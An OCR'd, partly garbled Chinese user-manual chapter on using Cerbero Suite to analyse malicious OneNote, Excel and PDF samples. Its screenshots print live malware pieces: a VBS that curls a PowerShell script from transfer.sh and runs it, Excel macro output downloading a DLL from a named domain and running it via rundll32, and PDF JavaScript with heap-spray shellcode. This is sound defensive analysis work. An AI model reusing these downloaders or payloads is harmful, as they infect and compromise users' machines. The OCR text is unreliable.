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SRMEFE Cerbero Suite B FA, X8 2011 ELEREFRTE X ME LT 2 MFRILIRT
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B— P TEENEMAIEP, FNEEERRGNBUESTTERANREERESTE
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ZIEENS— T EBENBEHREM, Cerbero Suite MYXETLAMES, E2—1
ATFERTIERENINMEES RS, MEREKEFERAEMEWL TR (90 Ghidra
g IDA Pro) ZRFALEMIEMNE, BLIEZMINEEEF I —1F A, Cerbero Suite
DTEZIMFAEITARZEYINEKX, ST 2 EEHEZRET LB,
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MNREBERERIRNT B Cerbero Suite WEZIhEE, MR BB RREF—LLFrRf
LURIEANITT, BBABREESR!

FATEU IR T — LB EMNRG, B LUBENER, XLLERFIR LEA— Cerbero
Suite B MUt 5535 (BFS: infected) THio

SRMAHERAAZEETN, AEPINCHREXH LRI RIREAERREHNIHEE, B8
AT EREMNEIEER Cerbero Suite H#TX S HTAIEEL,

ERELEERN, HTEBREHABENRRAFMANE, £H| 7 ## Cerbero Suite BIFT
BV EEBRALENKZT2MEGE TEF B X E B IZEHRIEE S,

TEHF®ZE, BRERES 2UE T EBEFRNE, XIEFRIFEM Cerbero Store RENER
.

TR LEIUTATIAEEFANIE: £ 50 fER £XAHEE. BEERE
FEAOR. FARKLTRE (WERE) Z8d 91T

2.1 ONENOTE X921

FATESET — OneNote XAERFIEX MRENINERE, ANERET —MEEBIAN

"4

FIREARD T, BREEERZE OneNote Format £,

[onenote_document] - Cerbero Suite 7.5 = &
File Navigation Actions Views Tools Help
R EE & HE O0& ke e aonlw BN EE# of Bl sws -
o Roots & x  Ouput
i Risk Format
1 C\user_manual_samples\onenote_document 100%  onEnoTE

0 Herarchy 8 % L Ansiysis [onenote_document]

© 2024 Cerbero Labs 9


https://store.cerbero.io/static/samples/user_manual_samples.cpro
https://cerbero.io/packages/onenoteformat/

Hierarchy {1 AERT OneNote XHEEARFTRULREZENTFHR. HITAILIELEF
F Hierarchy BB FHBITIEZ T single view mode (Ctrl+S) EBHHNEMEIRL, MME
FHIEMETRXLENR, BRI TRERAN LR E 2 MERER,

[onenote_document] - Cerbero Suite 7.5 - ol
file Navigation Actions Views Tools Help
58] - WE AP« - w BN ER # o B swse - =
U Werarchy o x
e
Name Risk Group Format  Size Relation -
“ ‘onenote_document 100% Document ONENOTE 565.8 KBs Root
4 MM Executables
+ B object 2AAdexe 0% Executable PE s47KBs  Child
4 . Archives
+ 3 RCData "CABINET" [lang:1033] 0% Archive  CAB 396.1K8s  Child
4 scripts
& newibs 0% Scipt _ WSCRIPT _300Mes _ Chid
4 i Documents
RCData "ADMQCMD" [lang:1033] 0% Document XML Tbytes  Child
RCData "FINISHMSG" lang:1033] % Document XML Tbyles  Chid
RCData "LICENSE" {lang:1033] 0% Document XML Tbytes  child
RCData "POSTRUNPROGRAM" flang:1033] 0% Document XML Toytes  Chid
RCData "UPROMPT [lang:1033] 0% Document XML Tbytes  Child
RCData "USRQCMD" [lang:1033] 0% Document XML Tbytes  Child
Configuration File 1 lang:1033] 0% Document XML 1975 KBs  Chid
i Images
& Icon 1 [lang:1033] % imege  DIBICO  1602KBs  Child
&= Icon 2 flang:1033] 0% Image DIBICO  744bytes Child
&= lcon 3 [lang:1033] 0% Image DIBICO  488bytes Child
&= Icon 4 [lang:1033] 0% Image DIBICO 296 bytes  Child
& Icon 5 [lang:1033] 0% Image DIBICO  3664KBs Child
& Icon 6 [lang:1033] 0% Image DIBICO  2164KBs  Child
&= Icon 7 [lang:1033] 0% Image DIBICO  1.695KBs  Child
& Icon 8 [lang:1033] 0% imege  DIBICO  1352KBs  Child
&= Icon 9 [lang:1033] 0% Image PNG 5446KBs  Child
&= Icon 10 [lang:1033] 0% Image DIBICO  9414KBs  Child
&= Icon 11 flang:1033] 0% Image DIBICO  4.164KBs  Child
&= Icon 12 [lang:1033] 0% Image DIBICO  2283KBs  Child
& Icon 13 [lang:1033] 0% Image DIBICO  1.102KBs  Child
4 WM Images v

?ﬂzﬂ]_JL,(T‘y,&M FRES IR, BELRFISHH, FITEEFTF VBS B
ZIK , XEHERANINER (OneNote Document — Portable Executable — Cabinet Archive
— VBS Script) o

[onenote_document] - Cerbero Suite 7.5 - olEN

File Navigation Actions Views Tools Help

B E - WE AP & €9 w ™ 4 100% SHA25  ~ Click here to calculate the hash -
£ Roots o oup 5 x
» File Risk Format
1 Ciluser_manual_samples\onenote_document 100% ONENOTE
U Herarchy 8 x| Anayss [newvbs] o x
Uxex | % Texe | i overvew
ame) = 01 34 5 6 7 8 9 A B CDEF ASCII ~

4 onenote document
4 Executables
4 object 2AAd.exe
4 Archives
4 £ RCData *CABINET" flang
+ i scripts
new.vbs
4 Documents
RCData "ADMQCMD" flan
RCData "FINISHMSG" flan ¥

2 Summary 5 x
Intinsic threats
& script Code
Information
@ Wetadata: Mediain

2 Format 5 x

FRIEEREA, % VBS BIZARRIBREXHK/NA 300 MB, BEXRETLAF.
BY BT R EHIERE

RN
BATTLUBIEA filters KBRXETAFN. E 7 69
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“Filter-*+”

File Navigation Actions Views Tools Help

[onenote_document] - Cerbero Suite 7.5

4 Documents
* RCData "ADMQCMD" flan

** RCData "FINISHMSG" [lan ¥
>

Intrinsic threats
@ script Code
Information
@ Vetadata: Medialnio

1 Format. 5 x
Ficer

]

HEE 2 E DL d R €% en w BN DR # & 08 sz - [Clidhereto calculate the hash % -
' Roots s x - ouput ax
* File Risk Format
1 Ci\user_manual_samples\onenote_document 100% ONENOTE
% Herarchy e Q Analysis [new.vbs] Q| Fiter. []
Fier =
= Property Value
Name =
< misc
4 onenote_document 7 basic
+ i Brecutables P cony
4 M object 2AAd.exe 7 endianness
+ i Archives 7 insert
4 3 RCData "CABINET" [lang C s
4 1 scripts P reverse
Bl + i convert

7 from_array

i | HRemove 4 MoveUp | % Move Down

7 misc/replace (out; in3a)

Preview.

offsst | 0 1 2 3 4 5
00000000 | 32 3A 32 3A 3A 31
00000008 | 32 3a 32 3A 3A 3A
00000010 | 3a 3a 3A 3a A 3
00000018 | 32 3A 3A 3A 3A 3
00000020 | 32 3A 32 38 3A 31
00000028 | 32 3a 32 3A 3A 3A
00000030 | 32 3a 3A 3A 3A 34
00000038 | 32 3A 3 3A 3A 3
00000040 | 32 3A 32 38 3A 31

A[offset | 0 1 2 3 4 5 6 7] aserr ~
00000000 | 0D 0A 0D 0A 0D OA 0D 0A
000008 | 0D 0A 0D 0A 0D OA 0D OA
00000010 | 0D 0A 0D A 0D 0A 0D 0&
00000018 | 0D 0A 0D OA 0D OA 0D 0&
00000020 | 0D 0A 0D OA 0D OA 0D 0R
00000028 | 0D 0A 0D 0A 0D O 0D OR
00000030 | 0D 0A 0D 0A 0D 0A 0D 0A | ...
00000038 | 0D 0A 0D OR 0D OA 0D 0&
0040 | 0D 02 0D OA 0D OA 0D OA

0

Ff MER "misc/replace” ISR KB IFTAFRTo Tl TIEE “bytes” R, MAEBIREY

DA FH, AFRETFRET,

B Rt Add” AR & Preview” WA IR, HIVERIEMETAFR, 3l
70D 0A” (#17). AT EBRIEFMAFRFAIERTT, HNXBER=ZEMRIT 0D 0A 0D

0A 0D 0A”,

File Navigation Actions Views Tools Help

Enter eyt

as with

fonenote_document] - Cerbero Suite 7.5

HEE & HE [ @ As e €9 o w o BN I # & M08 swass - [Clickhereto calculate the hash e
L Roots & X  Output & x
# File Risk Format
1 Ci\user_manual_samples\onenote_document 100% ONENOTE
% Herarchy —| a Analysis [new.vbs] a7 Fites a
Fier. e
Name s
i misc ~
“ Efonanctedoament 7 basic mode [bytes -
- Exccutables 7 copy in  0d0aodOa0doa
I object 2AA4.exe 7 endianness out
« i vcives 7 imen frange
4 [ RCData "CABINET" flan W reploce offset -1
4 scripts 7 reverse size 1
ST + i comert tim [ B
4 Documents 7 from_array
 RCData “"ADMQCMD" [la =
% RCData "FINISHMSG" fla v| | #FAdd || HRemove i Move Up | Move Dovn
< > 7 misc/replace (out:, in:3a)
L2 Summary 8% | 7 misc/replace (out; in:0d0a0d0a0d0a)
Intrnsic threats
& script Code B
offsex | 0 1 2 3 4 5 6 7 Al[offset [ 01 2 3 ¢ 5 5 7 S
00000000 3A 3 3A 3A 34 3A 3 3 041FSE3E | 00 00 00 00 00 00 00 O
00000008 3A 3 3A 3A 34 3A 3 3 041FSE40 | 00 00 00 00 00 00 00 00
i o | 00000010 3a 3A 3A 3a 3a 3 3 3 041FSE4E | 00 00 00 00 00 00 00 00
R 00000018 3A 3A 3A 3A 3A 3A 3a 3 041FSESD | 00 00 00 00 00 00 00 00
Fier. 00000020 3A 3 3A 3A 34 3A 3 3 041FSESE | 00 00 00 00 00 00 00 00
00000028 3A 3 3A 3A 34 3A 3 3 041FSEG0 | 00 00 00 00 00 00 00 00
00000030 3a 2n 3A A 3A 3a 3a 3 041FSEGE | 00 00 00 00 00 00 00 00
00000038 3A 3A 3A 3A 3A 3A 3A 3 041FSE70 | 00 00 00 00 00 00 00 00
00000040 3A 3 3A 3A 3A 3A 3A 3 it 041FSETE | 00 00 00 00 00 00 00 00

© 2024 Cerbero Labs
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AR TTIEREE, MAEEFNEE. BiTEIER 00" FRHREREN]

File Navigation Actions Views Tools Help

Intinsic threats
4 script Code

2 misc/replace (out:, in:00)

fonenote_document] - Cerbero Suite 7.5

=) |

~ [Click here to calculate the hash -
& x - ouput 8 x
o

W EE S HE FRPK % & w® W Y # & 100 sna2ss
Roots
= File Risk Format
1 Ci\user_manual_samples\onenote_document 100% ONENOTE
% Herarchy Y Anayss [newvs] 7 e,
- Fiker Property Value
Name -
4 misc
“ onenote_document 7/ basic mode bytes
“ 4 Exccutables ¥ comy 00
“ [ object 2AAd.exe 7 endianness out
+ i Archives 7 insert
4 L) RCData "CABINET" lang o offset -1
“ i scripts 7 reverse sz 1
& new.vbs 4 convert tim  no
4 i Documents 7 fom.array .
RCData "ADMQCMD" flan
RCData “FINISHMSG® fan | 4¢Add || 3 Remave tove Up | Move Down,
< > 7 misc/replace (out;, in3a) -
2 Summary # % |, misc/replace (out:, in:0d0a0d0a0d0a)

Prevew.

Information
@ Metadata: Medialnfo

offset | 0 L 2 3 4 5
> | 32 3a 3 A A 3
33 3 3L 3 3R
—— — 3n 3A 3 38 3 3
Fie 3 3R 3B 3A 3R A
33 3 3L 3R 3
3 3 3A 3 38 3R
3 3a A 3A A 3
3 3R 3B 3R 3R A

3 3A 3A 3A 28 3R 3A

3 38
o :
3n 3
a
38 38
33
EE
FET
EEn

0040 | 68 53 68 &5

ES

6C 25 45 | hshell.E

ESNEEMEAR, FITT LA AL [RME, EFEERANE, FI1EL
T EIEE To Text Browser View”

~ Cffset

,,,,,,,, g=oo
00000008 68 65
oooooolo 53 e3
00000018 | 72 65
00000020 @ &5 63
Ooooooozs 72 68
00000030 @ &C &C
00000038 56 61
00000040 &8 53

Duplicate View Ctrl+Shift+D
To Text Browser View Ctrl+Shift+T
/ Filter... Ctrl+T
L' Add Root Object
TE—ZU—D T T3 UU—TI T PETTWST
6C 6C 20 3D 20 57 | hell.=.w
72 69 70 74 2E 43 | Script.C
61 74 65 4F 62 €&  reatelbj
74 28 22 57 53 é3 | ect ("WSc
70 74 2E 53 68 €5 | ript.She
22 29 0D OR 6D 79 | 11™)..my
72 20 3D 20 57 73 | Var.=.Ws
68 65 6C 6C 2E 45 | hshell.E

IHARVEIFTE text browser view R ERAS, AFHR—THAHIARTRE, FMNATUMLE
TXYHRBERIEFEHMNEEESRET.

a Analysis [new.vbs] s Fiter...

1 set Wshshell = WScript.CreateObject ("WScript.sShell™)

2 myVar = WshShell.ExpandEnvironmentStrings ("%APPDATAZ")

3 runCmd = "cmd.exe /c curl https//transfer.sh/get/MHXbtP/ss

4 Wwshshell.Run "cmd /¢ " & runCmd, 0, True

5

6 WScript.Sleep (3000

7 & el L Select All Ctrl+A

8 set Wshshell = WScript.Create Begin Selection...

9 myVar = WshShell.ExpandEnviro: §

10 runcmd = "cmd.exe fc powershe]  Gotoline Ctrl+G

11 Wshshell.Run "cmd /¢ " & runCy Find... Ctrl+F

12
View 4
Language g
Encoding
Open in Editor  Ctrl+Shift+E
Save to Disk Ctrl+Alt+0

© 2024 Cerbero Labs

Dart

Go

Java
JavaByteCode
JavaScript
JSON

Julia

Kotlin

Lua
MachODyld
MSIL
Objective-C
Perl

PHP
PowerShell
Python

R

Ruby

Rust

Scala

shell

saL

Swift
TrueType
Typel
TypeScript
VBA

Text View

myvar + "\rr.psl"
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BN LUEREE VBS BIAAM— URL & T —1 PowerShell BlZHFEGEHITE,

1 WshShell = WScript.CreateObject ("WS -

2 myVar = WshShell. ExpandEHVJ.ron.mentStrlnqs(

3 runCmd = "cmd.exe /c curl https//transfer.sh/ ——output + myvVar + rr.psl
4 WshShell.Run "cmd -~ " & runCmd, O,

5

6 WScript.Sleep(3000)

7

8 WshShell = WScript.CreateObject ("WS ri

9 myvar = WshShell. ExpandEHVJ.ron.mentStrlng

10 runCmd = "cmd.exe /c powershell.exe -exec rr.psl
11 wWshsShell.Run "cmd /c " & runCmd, O,

{5 Tor Downloader 8, E{TA]UAER TH A HHBELE D,

2.2 EXCEL BFRE IR

BITBEDTHNRAIZR— T EEEBELTH Microsoft Excel i,

BT IH RIS T REIREY “Spreadsheet” hierarchy tab, FATAIIAEE Excel BB FFRIEHIAN
Bo

B e e T T -
e Navigation Actons Views Tools | Help
W EE - WS FRPK 9 & w BN EER # o W swse - 2FB017DA4BCEB351DFB67779905E8F1817FBF7ABDED! -
— —T—
e sk romat
1 Cluser_manual_samplestexcel_spreadsheet -
oty s [ s (e et
Fite 0 st |l Overview |~ Spreadsheet
Neme AB AC AD AE AF A
excel spreadsheet W
@
- = _
T o
o y TRUE e
© Signature Motch: YARA . . e
s
"
Warnings <
rp——— Donn] (ratahee) (oot (macroshesy | {00 o)
Deed nomes | Formios
Name Formula
3 romee | At Open DoctiADS 13
T

“Auto_Open” FIFETR T ATVHITHANAOR, EHRIITAIUERZBIEEZRFEIRBFR
AR,

B, FANTATLUEE “Formulas” iR HEXFEENRMBH AT, B LT

© 2024 Cerbero Labs 13


https://cerbero.io/packages/tordownloader/

B &R Cul+E BRI,

[excel_spreadsheet] - Cerbero Suite 7.5 -0
File Navigation Actions Views Tools Help
E Ab«&le - | W CC # & 58 5 - |CDA912CEAF853D72FB017DA4BCEB351D9FB6777990EBF1817FBF7ABDED?
" Spreadsheet
8 AC AD A€
"
©
13
heet) | [Doct] (macosheen) ) | [Doc2] (macosheet)
Formuas
[v] RUN/ v CHAR [v| CONCAT
Index Formula
“DoctAG26 K220
“DocTAH16 =FORMULA(AO36HA0378AOBEAO3IEAOAOBAOAT AO2S)
“DoctIAH17 =AG24)
“DoctAKz2 =CALL(AO25, Doc2 1ACT 38 Doc2 1 ACT2AG2SBL A" "IIC"8'CBB", 0, Doc TIATO0,
“DoctAKz3 10
“DoctAK2s BB BB B 8 8" A EXEC( Doc T IAD 158/ Doc T TAQ308 Doc MAE SBAG2)
“Doc1"AK29 =HALT)
"Doc1"AOS ="Doc1'1AK28()
"Doc2"AC12 =REPLACE(Doc’ 7.7,"nloadTo")
“Doc2ACT3 =REPLACE('Doc1'!AP39,7,7,"")
“Doc2AC14 =REPLACE(internal; deleted sheet!ABT&internal; deleted sheel 'ABBinternal: deleted sheel'AB9EJinternal; deletec
“Doc2!ACTS DocTIAH16)

BT Output (LE FIeELER i, U TEEERGEERITAVRE,

B100: "https://vestelbd.com/ds/1802.gif"
FCRMULZ: AD1S5 = "rundll32 "

AD14: "
FCRMULZ: ZE1S5 = ",DIIR"
AD16: "
FCRMULZ: ZE15 = ",DIIR"
REL4: "

AE15: ",DI1R"™

RAE16: "DownloadTo"

BG24: "egisterServer"

LG25: "File™

warning: unimplemented function 'CALL'
arg_0: "URLMon™
arg 1: "URLDownloadToFileA"
arg 2: "JJCCBB"
arg 3: 0
arg 4: "https://vestelbd.com/ds/1802.gif"
arg 5: "..\idefje.ekfd"

BH17: "egisterServer"
warning: unimplemented function 'EXEC'

arg 0: "rundll32 ..\idefje.ekfd,DllRegisterServer"
RK28: "7

BE, BMEXHMERT ERRARENRA, DHF— I XHEAIERE SR,
BIA, FHIAFFEEE Excel XML ES; BEEE BREAI, ERIOMIEEM

;EE7T<0

2.3 PDF X495

AR PNROINERME T —PEBRBNINE, FENEFIAMER Cerbero Suiteo 2 THRAY
SN IREES EE%&E ﬁ%?ﬂ%%ﬂﬁﬁﬁﬁcmmomm,MWWEQME
Do BIEXNEERAIRE], EFEBERAM T BRGNS RINEMRIERTT, #
FIRBERI DDA,

© 2024 Cerbero Labs 14


https://www.youtube.com/watch?v=qw6oGr47NmU

FEIRMAR DT, IBHRE LEE JavaScript Beautifier @ tb7h, MNREME N ANFHIE, 15
BIFAIE, MIZEE Silicon Shellcode Emulator

& ShellcodeToExecutable £1; #1RIR

28

[pdf_document] - Cerbero Suite 7.5 - olEd
File Navigation Actions Views Tools Help
W EE 2 WG R b e ok kBN EE# o Il s - B
. Roots. 5 x [ Ouput 5 x
¥ File wsk  Format
B L 100%  por
4 Herardhy: @ % Analysis [pdf_document] & x
e UxHex | Text
ame} REY Giou offset 01 2 3 8 9 ABCDETF ~
“ " pdf document  100%  Docu 40000000 25 50 44 46 OA 25 B2 B3 CF 03 0D OA $PDF-1.6.%...... <-Format Data - Foreign Data
+ i Documents 000010 | 31 20 30 20 Gh 3C 3¢ 33 38 0D OR 85 1.0.0b)..<co5. e <-onknowm/dnres Date
“@oob) 7% Docun 6 ot oF o2 2030 20 GF 62 G 0D O | ndob3..5.0.0h). . <-Unknown/Uncef Data - Foreign Data
3¢ 3¢ 2F 43 20 32 20 2F 43 69 64 73 | <</Count.2./Kids <-Unknown/nref Data
20 30 31 20 52 20 30 20 52 50 20 2¢ 7
567970 65 G5 73 32 3% Ob OA 65 GE | fype/Fagesss..en
< > 64 6F 62 6A 32 20 6F 62 €A OD OA 73  dobj..8.2.0bj..s <-Unknown/Unref Data - Foreign Data
E— = 7475 65 61 G 64 73 74 12 65 61 60 | trean. .ondstrem <-Unknown/Unref Data
o0 08 €3 6 0D OA 38 20 30 20 6F 62 | - endob3..5.0.0b <-unknown/unref bata - Foreign pata
Threats €A O0A 3C 3C 67 74 €8 20 30 3E 3E 0A j.<</Length.0>>. <-Unknown/Unref Data
© Interactive Form 73 74 72 65 68 6E  stream.<h:xdp.
@ The format of he il s incorect &4 7374 73 2731 21 20 78 6D oc 68 | dstreani’.am
O T ot ot e b meomes 73 3 &8 3 70 36 23 35 38 3 oF 28 | s:nevhtcpissss/)
; 7328 61 28 63 6F 6D 2F 78 64 70 | ns.adobe.con/xdp
© The format of the fil s incorrect 2F 22 3E 0D 64 2F 3E 61 73 3C 63 6F <asd/>as<co
€ Unreferenced Data 68 66 69 67 6E 73 3D 27 31 32 33 27 nfig.xmlns='123"
© Unreferenced bata 35 3¢ 61 73 68 3870 72 65 73 65 6 | ><asa/><hipresen
e 74 38 3¢ 70 68 38 69 65 74 65 72 6L o<pdfs<hiincera
3 74 65 76 26 60 3n €9 66 74 65 72 | ceivesi</hsincer
© Metadata: Mediain 616374 69 76 65 72 73 69 6F 65 3 activercversions
5128 35 3¢ 73 69 6F 62 38 3¢ oF 70| 1.5¢/version>d/p
o 6 o6 38 3 72 65 73 65 68 74 3E 30 | dis</nipresencc
s Format o x 00000160 | 2F 63 6F 6B 3C74 65 60 70 6C 61 14 /contigrtenpla
e, 00000170 | 65 20 78 6D 27 68 74 74 70 3A 2F 2F | e.xmins='http://
- o100 77 77 77 28 3032 38 61 28 6F 73 67 w.xe#1027a 00
00000150 | 2€ 73 63 68 76 66 €1 2D 74 €5 60 10 | /achana/xtectony
H 5.0 (unref) 00000120 6C 61 74 65 2F 27 3B 3C 73 75 62 66 late/2.5/'><subf
14 80 (unref) 000001B0 | 6F 72 6D 20 3D 22 26 23 39 37 3B 31 name="5497; 1
H 82 (omred 0000010 | 22 20 71 77 32 33 22 38 3¢ 70 81 67 ".que-123"><pag v
4 180 (unrefy
Hi hy it A LAEE PDF & —1 XDP X4
1erarchy x = I o
“ Hierarchy
Fiter...
Name Risk Group Format Size Relation

100%

Document PDF 21.51 KBs Root

+ [P paf document

4 4 Documents

- [8.0 obj] 70%

Document  XDP 20.81 KBs  Child

XDP XA LB & E M PDF XA4F0 JavaScript 1553,
EAFIFR, XDP XH4HSEEE JavaScripto

[pdf_document] - Cerbero Suite 7.5

File Navigation Actions Views Tools Help

- clEm

4 4 Documents
" 18O

L Summary

Th
© Javascript Code

Pvea

3
14 testa();
15

5|16 wis)s
17 </h:script>
8

W EE - WE FRrk €9 w N DO # & B saxe - -
2 Roots o x oups 8 x
# File Risk Format
1 Ci\user_manual_samples\pdf_document 100% PDF
% Herarchy 8 x| C4 Anaysis [JavaScrpt Code] 5 x
te =" contentType= 5 <

- rawvalue.split('3%%') ;
Name () soclv2415)
4 pdf_document £ —uny ()1 5783 51 <+1}*/DKRE-H12C] 0} .a;

K& JavaScript fLERY, FITTUBREFERT —ME (qwel23b), ZEERBAESH

RIEXo

© 2024 Cerbero Labs
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https://cerbero.io/packages/javascriptbeautifier/
https://cerbero.io/packages/shellcodetoexecutable/
https://cerbero.io/packages/siliconshellcodeemulator/

1

1

Z{EREB XDP X1, Z XX XML &=

[pdf_document] - Cerbero Suite 7.5
File Navigation Actions Views Tools Help
HEE & WE OUdabw/esaww BN EE# o Bl 5wz -
o Roots. & X Output
» File Risk Format
1 C:\user_manual_samples\pdf_document 100% PDF
 Herarchy o = QL Anayss [[8.0 b)) o x
Fie OxHex | Text ~ Preview
Neme Risk [ [ a—— —
4 - pdf document 100% Docur 50 <xfa:datasets a
i Documents 5t
2 <
“[B00bjl 0% Docun 22 rese
. Isssoz sl LMLl
e = S : " : e
3 | s s s s T 1835515445 24355- 235082243521 55T 444521555 3555-21593- 17588
S L Tt L
1 Summary ox | i Tatazeeeols e "
Threats 8555 15551 % B 10%%%
© tavascript Code 42333513555 115%3- 145551 ovies 113781080 sieses23ess
Information 3351388214828
@ Metadata: Mediainfo 133381 5
. 13sErial1nel0see e ReRe 1185 1088133551355 1 2usitesan
s 1 135
-1 1154813848- 124140414 LIV AT LR GIA1 AR LINATHAA- 12AIA IRAAAA-L0RA-110R0ARS
frtheirtn 4 s3eaa 128851 133
. < Isssesisiise 1135514508 1138 168RRERE- 12885108
101 L2 LA IO LI L2 L2 LA LIS I LOMA LI 120 L3I L0 OM L0 A M L2008
4RI R OHAATHACH O A- L0 REIORER 13RI I3HAA- 1208 -1
103551385513553- 10345 144530555 10335 14355 1135444390551 38541 2835 1033373351 praca e B
—— o x| sisssnuines-isiiie L1ses aeiases- Ion e
sl0ss-1nae 1 128831, seai-lasssizane-
Fite 10%%%; 3888
10034238440V IO LA 128118 LAY IORN 38230 9T TN LA RONAIINATIR YRR
B s i18LLI2NILI AR Lan
10388114889488-2380408 81080410848 14588 1188412858140 Tosas- 103 118saTae 03 anse-
b 108381 "
ey 2 Tavst 1035412858 14335- 11585 1243512455- 1649410853 114304 ¥3303331285%
13355-12641138 53055510855 10358 10385-1 swiiissaes v
——— rieait

(Views — Open New Text View) , 7 ¥ qwel23b T =EYE

FARIB— MBI AR
FMEE— P FAT BT ER:

qwel23b = "[NODE\ _VALUE\_HERE]

FRIEFAIXT JavaScript fLIEHIT—LE/NEUB R, F(TR:

(app)ar=qwel23b.rawValue.split ('%%%"');

fEeA

ar=qwel123b.split ('%%

)

TE, BREIRNTFTENEE:
JC | = Y 1|_.\ x .
[pdf_document] - Cerbero Suite 7.5 SEEN
File Navigation Actions Views Tools Help
BB & B OUdRb e e anw BN EE # ¢ Bl 5o pwomic .
. Roots. & x Output & x
5 e TS
1 C:\user_manual_samples\pdf_document 100% PDF
@ Herarchy. | & /‘na?yss [JavaSaMCndQ] 3] Edtor a
Fie G ~
Name Risk Grour
4 pdf document  100% Docur
4 | Documents
" BOoobjl  70% Docur
g >
1 Summary 8 x
Threats.
© savascript Code
Information

i
@ WMetadata: Medialnfo ar=que123b. split('331)|

30 (¢ (s)v=arz]*1;

13 Format 8 x
Fie
15 2=i;
16 test3()7
17 )
18 wis);
19
Enter python code here with Corlsalt

MERNTEAE JavaScript fLABIRILF XDP X454, BJLUER JavaScript 125 KA BHIE
FEAIBBITHEE,

© 2024 Cerbero Labs 16



EB5f JavaScript 128, 151K Curl+R EHITHEMNAY #21F, BM “BIF REFERE,

JavaScript debugger X FfER
= “eval” HANLERR: m%@AE SE 17 Ask”,
TENENRIET, HEEUS

Execute Action...

- Cerbero Suite 7.5

Instaled Editor
[T] Show disabled actions

Fiker....

Configure

Base64 to Bytes

Hex String to Bytes

Text to Bytes
Emulate

Emulate Batch Script
JavaScript

Beautify JavaScript

Debug JavaScript

Execute JavaScript
Open New JavaScript Editor
JSON
Indent
Online
Download Chrome Extension
Download Malware Sample by Hash
Download Multiple Malware Samples by Hash
HybridAnalysis Search
MalwareBazaar Search

Cancel

‘eval” BERIELHT

SR 4B RYIET

TR AR AR B A, FiREATFE

BEHABREETR—TIEE, B

» JavaScript Debugger -
Debug Search View
D> oM T 0T ol B @  Executeevals:[Ask -
Loaded Sapts & x [ 1 quet2sb = [ Locals 5 x
= o¥lo17%9%%-16%% % 15%%%-24% % 23% %% 22% %% 21% %% 1% 2%%-14% %% 14% = .
[<enomymaus .. || o400 300005 21945436 12965 129469 129656%- 1399 2196%%-19%4% 19955 19% ||| Nome ok
Holo13%:%2%-21% %o 19%:%:%-11% % %1 1%6%%-13%%%-21% %o %-10%2%%-10%%%-10% || |,
oo 13%0%%-21% %% 16%%%-16% %169 % %-13% % 21% 4% 9% Yo% 0% Ho%-0% %
0-15%2%%-24% %% 23%%%-22% % %o 21%%%-20%2% %o-8%2%%-18%%%-17%9%2%:7%%
oL 1%%-22%%%o-6%6% o 5%o%o% 23%:%:%-13%%6%-21 6% %-18% %%-15%%o%-24% 2%
5 B L 2L 3 % U IS LT 10, 2
-21%9%9%-1%2% %%
o 23%%%-22% %% 21%% 0521 1% 17%%9%-11%%%- 7%0/..
-21%:%2%-1%0%
oo TSR BT AP AR ST
| Breakponts 8 x ohop
-23%%0%13% %1 2% %% %
b x 99%9%9%13%%%1 3%%%-11%% 2%
23%%%1 7% -23%2%
o %9%%%-1 -10%9%%1
j Stack 5 x
7139014 ‘ 7% [ Level Name Locaton
z <anonym...  <native>:1
2%9%9%13%2%2%-11%%%6%%
oL 390%%66% %1 1%%% 14%%% 10%%2%-10%%%13%%%13% %% 12926 266%%6%9%
‘ N 29T TA256%%-14% %1 o0
Console 5 x
19%%9%-1 19%56-17%%
799%9%-1
9615%2%%-1
asdb>
Eror Log | Debug Output | Console

© 2024 Cerbero Labs
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AR GSHRITHEIA, HRSSERE—MEE, BR—1eval” HANAE,

You can change the code executed by the eval cal. Press Cancel to return undefined.

1 War padding;vzr bbb, ccc, ddd, eee, £ff, ggg, hhh;var »
pointers a, i;var x = new Brray();ver y = new
Array():;var
_11="4c20600£0517804a3c20600£0£63804aa3eb804a3020824a
6e2f804a414141412600000000000000000000000000000012398
0426420600£000400004141414141414141668324fcfcB5247534
e€95£33c0648b40308b400c8b701c568b760833dbE6Bb5e3c03743
32cB81leel510f£ffbBBDL4030c346390675fbB7342485e47551e%eb
4c51568b753c8b74357803£5568b762003£533c94941fcad03c53
3db0£fbel038£27408clcb0d03da40ebf13blf75265eB8b5e2403dd
666b0c4bB8d46ecff54240c8bdB803ddBb048b03c5ab5e59¢c3eb53a
dB8b6E6206807d0c33740396ebf38b68088bE76a0559e898ffffffe2
£%e80000000058506a4068££0000005083¢c01950558becBb5e108
3c305£fe3686£6200006875726c6d54£f1683c4088beBeBElEEfE
ffeb02eb7281ec040100008d5c240ccT042472656773c74424047
6723332c7442408202d73205368£8000000££560¢c8be833c951cT
441d0077706274c7441d0522646c6cc6441d0900598ac10430884
41d0441516a006a0053576a00££561485c075166a0053ff56046a
0083eb0c53ff560483c30ceb02eb1347803£0075£a47803£0075¢c
4eal0eafeff5608e89cfeffffedeleact8feBaledf6f01bd33ca
8a5blbce46€79361a2f70687474703a2f2f313239223132312e323
3312e3138382f646174612f486f6d652f772e7068703£663d3136
26653d340000" ;var
_12="4c20600fa563804a3c20600£9621804a9011804a3090844a
7d7e804a414141412600000000000000000000000000000071888 «

Execute ‘| Cancel

BT XA EH B — MR AR E R,

X

File Navigation Actions Views Tools Help
RER /DR EGEOUsRbaler o & BNES# & SHA2% - (7242E8B1C796DF5DABBG0CI87B2CO22FOESTE 142607 13FIE1GBO0EACO2DI " ~

» File Risk Format
1 Ciluser_manual_samples\pdf_document 100% PDF
e — e o e ey
Fiter 1 ding;ver bbb, ccc, ddd, ees, ££f, ggg, hhh;v-r poi - = i Array()ivar y = neu Array()rva:
e Risk Growd| 1=+ 4c206 7304 3epoda daeie 20000000000000000000000000012 o 4141014141
T141416683e45c 1534955 0 568676083306 Tee1510££16 675£b87342485047551e9ebAcS15
1

4 pdf document 100% Docur
4 1t Documents
8.9 70% Docun

$036a40ebf1301E"

7d0c33740396ebE3306

o o 071888042642 4141414141
7433281061510 £££1] 6751087342485¢47551e9eb4c515
0ebf1301£7506 =

3£533c54941 £cad03cs 7408c1cb0d0

reats 740033740396 5

'@ Javascript Code
Information

@ Metadata: Medialnfo

00008d5c240¢c70424724
£2c1043088411d04415162006200:

6534340000 ;_13

7o (_18.1ength*2<_19) 18-

_ri=unescape (_I1) ;roteDaks

£oteDak) ; Loxiihee=_Il+spray; Loxihee= 17 (loxWhs

12(_11,Ten) {1 (_T1.length<len)
®,

iret: B 1.4
Jreturn 1 41
- 1s. _x 15)
- cost j0. ; ey 3201103 < T1.
{ ';_T5+=_19 (] B 5
Frer § 7111 » ELEIELINE nEpO£OBKT////

i 1i0-
